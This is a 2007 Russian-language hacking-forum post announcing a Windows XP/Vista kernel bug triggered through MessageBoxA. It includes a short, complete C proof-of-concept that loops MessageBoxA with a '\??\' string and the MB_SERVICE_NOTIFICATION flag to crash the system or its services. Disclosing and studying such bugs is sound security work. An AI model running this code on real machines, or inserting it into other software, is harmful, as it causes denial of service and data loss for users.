Новая уязвимость Windows - Смертельный MessageBox

Discussion in 'Безопасность и Анонимность' started by СМЕРТЬ, 3 Jan 2007.

  1. СМЕРТЬ

    СМЕРТЬ Banned

    Joined:
    30 Nov 2006
    Messages:
    7
    Likes Received:
    1
    Reputations:
    0
    Новая уязвимость Windows - Смертельный MessageBox.



    была обнаружена критическая ошибка в ядре Windows NT. Она вызывает исключение в системных сервисах или ядре Windows на следующих платформах: XP (все SP), XP 64bit, и даже Vista. Ошибка находится в коде драйвера win32 подсистемы, и ее можно вызвать не очень редкой API функцией – MessageBox:

    #include <Windows.h>

    int APIENTRY WinMain(HINSTANCE hInstance,
    HINSTANCE hPrevInstance,
    LPSTR lpCmdLine,
    int nCmdShow)
    {
    char bug [] = "\\??\\C:\\";

    for(int i = 0; i < 100; i ++)
    ::MessageBoxA(0, bug, bug, MB_SERVICE_NOTIFICATION);

    return 0;
    }

    Выполнение этого кода очень быстро выводит систему из строя. Код может выдать BSOD, может вызвать в одном из системных сервисов исключение. В любом случае стабильность системы будет нарушена. Не сложно догадаться, что все дело конечно в MessageBox!... и как вы заметили все дело во флаге MB_SERVICE_NOTIFICATION. Обязательное условие вызова исключения – содержимое “\\??\\”. Скорее всего, один MessageBox с 100% не убьет систему, но содержащаяся ошибка таки имеет место, и несколько вызовов (до 10) приведут к результату. Текст сообщения не отвечает ожидаемому “\??\”… В лучшем случае, MessageBox отобразит данные по какому-то случайному указателю. Иногда это и приводит к исключению и падению процессов или системы в целом.





    СМЕРТЬ спецально для (www.antichat.ru°)
    2007 год.[​IMG] <html>
     
    1 person likes this.